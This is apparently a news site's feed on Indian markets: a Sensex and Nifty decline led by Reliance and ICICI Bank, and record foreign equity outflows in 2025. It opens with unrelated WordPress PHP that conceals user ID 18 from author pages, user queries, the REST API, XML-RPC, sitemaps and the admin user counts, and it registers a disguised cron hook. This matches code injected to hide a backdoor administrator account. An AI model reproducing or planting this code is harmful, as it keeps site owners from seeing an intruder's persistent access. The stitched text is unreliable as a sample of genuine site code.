add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Sensex and Nifty Close Lower as Reliance and ICICI Bank Drag Markets appeared first on The Edge Media.
]]>Market sentiment was further dampened by weakness in the rupee and continued selling by foreign investors, traders said. The 30 share BSE Sensex declined 324.17 points, or 0.39 per cent, to close at 83,246.18. During intraday trade, the index slipped as much as 672.04 points, or 0.80 per cent, to hit a low of 82,898.31.
The NSE Nifty fell 108.85 points, or 0.42 per cent, to settle at 25,585.50.
Among Sensex constituents, Reliance Industries dropped 3.04 per cent after reporting a flat net profit of Rs 18,645 crore for the December quarter, as lower gas production and weakness in its retail segment offset gains in other businesses.
ICICI Bank declined 2.26 per cent after its consolidated profit for the December quarter fell 2.68 per cent to Rs 12,537.98 crore, impacted by a Reserve Bank of India mandated provision of Rs 1,283 crore related to agricultural loans wrongly classified as priority sector lending. On a standalone basis, the lender reported a decline of over 4 per cent in profit at Rs 12,883 crore.
Eternal, Titan, Adani Ports, Tata Consultancy Services and UltraTech Cement were also among the major laggards.
On the positive side, InterGlobe Aviation, Tech Mahindra, Hindustan Unilever and Bajaj Finance ended the session with gains.
In Asian markets, South Korea’s Kospi and China’s Shanghai Composite closed higher, while Japan’s Nikkei 225 and Hong Kong’s Hang Seng ended lower.
Vinod Nair, head of research at Geojit Investments Limited, said global risk appetite weakened after US President Donald Trump announced fresh tariff threats against several European nations, reviving fears of a possible US EU trade dispute. He added that the development triggered a risk off sentiment across global equity markets, pushing investors toward safe haven assets such as gold.
On the domestic front, market sentiment remained cautious due to sustained foreign institutional investor outflows. With the December quarter earnings season underway, stock specific volatility is expected, especially where results have been mixed.
Meanwhile, the rupee breached the 91 per dollar level for the second time this month before ending 14 paise lower at 90.92 against the US dollar. Brent crude, the global oil benchmark, slipped 1.22 per cent to $63.35 per barrel.
According to exchange data, foreign institutional investors sold equities worth Rs 4,346.13 crore on Friday, while domestic institutional investors purchased shares worth Rs 3,935.31 crore.
The post Sensex and Nifty Close Lower as Reliance and ICICI Bank Drag Markets appeared first on The Edge Media.
]]>The post Foreign Investors Exit Indian Equities in Record Numbers During 2025, Revival Seen in 2026 appeared first on The Edge Media.
]]>Foreign portfolio investors exited Indian equity markets in 2025 on an unprecedented scale, withdrawing nearly Rs 1.6 lakh crore, or about $18 billion, marking the worst year for equity flows on record. Volatile currency movements, global trade tensions including the threat of higher US tariffs, and elevated market valuations significantly weakened risk appetite among overseas investors.
Global factors played a major role in shaping investor behaviour. Rising US bond yields, a stronger dollar and lingering geopolitical uncertainties redirected global capital towards developed markets, reducing allocations to emerging economies such as India. Persistent depreciation of the rupee further eroded dollar-based returns and increased hedging costs, diminishing India’s short-term appeal for foreign investors.
Despite the sharp sell-off, market participants remain optimistic about a turnaround in 2026. Analysts expect foreign portfolio investors to return as India’s nominal growth and corporate earnings improve. A potential trade agreement between India and the United States could reduce tariff-related concerns, while anticipated rate cuts by the US Federal Reserve may soften the dollar, creating a more favourable environment for emerging market assets.
Domestic factors are also expected to support a revival in foreign flows. Strong relative earnings growth, policy continuity and reform momentum, particularly around the Union Budget, could act as catalysts for renewed investor confidence. However, experts caution that global macroeconomic developments, including the pace of interest rate cuts and evolving trade policies, will continue to influence capital flows.
Data from depositories show that foreign investors pulled out Rs 1.58 lakh crore from Indian equities in 2025, even as they invested more than Rs 59,000 crore in the debt market by December 26. This made 2025 the worst year for equity outflows, surpassing the previous record set in 2022. In contrast, 2023 had witnessed strong equity inflows, highlighting the sharp reversal in sentiment.
Analysts attribute the equity sell-off to a combination of global and domestic pressures. High US interest rates improved risk-free returns in developed markets, prompting capital rotation and strengthening the dollar. On the domestic front, stretched valuations in certain sectors led to tactical profit-taking rather than a reassessment of India’s long-term growth prospects.
Monthly data reflected this volatility, with foreign investors selling equities in eight out of twelve months during the year. Selling pressure was largely offset by robust buying from domestic institutional investors, supported by rising systematic investment plan inflows from retail participants.
While equities saw heavy withdrawals, foreign investors showed a clear preference for Indian debt. Net investments of around Rs 59,000 crore flowed into the debt market, driven by India’s inclusion in global bond indices, attractive yield differentials and portfolio rebalancing amid equity market volatility. The phased inclusion of Indian government bonds under the Fully Accessible Route generated steady demand from passive global funds.
Sector-wise, financial services and information technology witnessed the highest outflows due to concerns over US economic growth, a weak capital expenditure cycle and margin pressures. In contrast, healthcare, utilities and manufacturing attracted inflows, supported by long-term themes such as infrastructure expansion and policy-led manufacturing incentives.
Overall, foreign investors began 2025 on a weak note and remained cautious through most of the year due to adverse global cues. Although a sustained recovery eluded equity markets, expectations of easing global financial conditions and improving domestic fundamentals continue to support the outlook for a meaningful revival in foreign equity inflows in 2026.
The post Foreign Investors Exit Indian Equities in Record Numbers During 2025, Revival Seen in 2026 appeared first on The Edge Media.
]]>